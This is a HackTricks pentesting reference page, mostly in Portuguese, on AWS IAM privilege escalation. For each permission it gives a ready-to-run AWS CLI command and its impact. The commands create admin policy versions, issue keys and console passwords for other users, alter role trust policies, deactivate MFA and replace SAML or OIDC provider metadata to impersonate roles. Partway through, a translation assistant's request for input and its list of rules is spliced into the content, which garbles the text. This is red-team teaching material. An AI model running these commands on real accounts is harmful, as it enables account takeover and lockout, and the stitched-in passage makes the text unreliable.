AWS - IAM Privesc

Reading time: 9 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

IAM

Para mais informações sobre IAM, consulte:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede a capacidade de criar uma nova versão de IAM policy, contornando a necessidade da permissão iam:SetDefaultPolicyVersion ao usar a flag --set-as-default. Isso permite definir permissões personalizadas.

Comando de Exploração:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impacto: Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.

iam:SetDefaultPolicyVersion

Permite alterar a versão padrão de uma política do IAM para outra versão existente, potencialmente escalando privilégios se a nova versão tiver mais permissões.

Bash Command:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impacto: Elevação de privilégios indireta por permitir conceder mais permissões.

iam:CreateAccessKey

Permite criar access key ID e secret access key para outro usuário, levando a possível elevação de privilégios.

Exploit:

bash
aws iam create-access-key --user-name <target_user>

Impact: Escalada de privilégios direta ao assumir as permissões ampliadas de outro usuário.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permite criar ou atualizar um perfil de login, incluindo definir senhas para login no console da AWS, levando a escalada de privilégios direta.

Exploit for Creation:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit para Update:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact: Escalada de privilégios direta ao fazer login como "qualquer" usuário.

iam:UpdateAccessKey

Permite habilitar uma access key desativada, potencialmente levando ao acesso não autorizado se o atacante possuir a access key desativada.

Exploit:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impacto: Escalada direta de privilégios reativando access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permite gerar ou redefinir credenciais para serviços específicos da AWS (por exemplo, CodeCommit, Amazon Keyspaces), herdando as permissões do usuário associado.

Exploit for Creation:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit para Redefinição:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impacto: Direct privilege escalation dentro das permissões de serviço do usuário.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permite anexar políticas a usuários ou grupos, directly escalating privileges ao herdar as permissões da política anexada.

Exploit para Usuário:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit para Grupo:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impacto: Direct privilege escalation para qualquer coisa que a política conceda.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permite anexar ou aplicar políticas a roles, users ou groups, permitindo direct privilege escalation ao conceder permissões adicionais.

Exploit for Role:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit para Inline Policies:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Por favor, cole o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md que você quer traduzir.

Observações rápidas:

  • Vou traduzir somente o texto em inglês relevante para Português.
  • Não vou traduzir código, nomes de técnicas, termos como aws/gcp/Workspace, links, paths, tags markdown/html, refs nem quaisquer identificadores que você listou nas instruções.
  • Manterei exatamente a mesma sintaxe markdown/html.
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impact: Escalada direta de privilégios ao adicionar permissões por meio de políticas.

iam:AddUserToGroup

Permite adicionar a si mesmo a um grupo IAM, escalando privilégios ao herdar as permissões do grupo.

Exploit:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: Escalada direta de privilégios ao nível das permissões do grupo.

iam:UpdateAssumeRolePolicy

Permite alterar o documento de política de assume role de uma role, habilitando a assunção da role e suas permissões associadas.

Exploit:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Quando a policy se parecer com o seguinte, o que dá ao usuário permissão para assumir a role:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impacto: Escalada de privilégios direta ao assumir as permissões de qualquer role.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permite enviar uma chave pública SSH para autenticação no CodeCommit e desativar dispositivos MFA, levando a uma possível escalada de privilégios indireta.

Exploit for SSH Key Upload:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit para desativação de MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impacto: Indirect privilege escalation ao permitir acesso ao CodeCommit ou desativar a proteção MFA.

iam:ResyncMFADevice

Permite a ressincronização de um dispositivo MFA, potencialmente levando a indirect privilege escalation ao manipular a proteção MFA.

Comando Bash:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impacto: Escalação de privilégios indireta ao adicionar ou manipular dispositivos MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Com essas permissões você pode alterar os metadados XML da conexão SAML. Em seguida, você poderia abusar da SAML federation para login com qualquer role que confie nela.

Observe que, ao fazer isso, usuários legítimos não poderão fazer login. No entanto, você poderia obter o XML, colocar o seu, fazer login e restaurar a configuração anterior.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Uma ferramenta capaz de gerar os metadados SAML e efetuar login com uma role especificada

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Não tenho certeza sobre isto) Se um atacante tiver estas permissões ele poderia adicionar um novo Thumbprint para conseguir efetuar login em todos os roles que confiam no provider.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Esta permissão permite que um atacante atualize o limite de permissões (permissions boundary) de um usuário, potencialmente escalando seus privilégios ao permitir que ele execute ações que normalmente são restritas pelas permissões existentes.

bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Um ator com iam:PutRolePermissionsBoundary pode definir um permissions boundary em uma role existente. O risco surge quando alguém com essa permissão altera o permissions boundary de uma role: essa pessoa pode restringir operações de forma indevida (causando interrupção de serviço) ou, se anexar um permissions boundary permissivo, efetivamente ampliar o que a role pode fazer e escalar privilégios.

bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks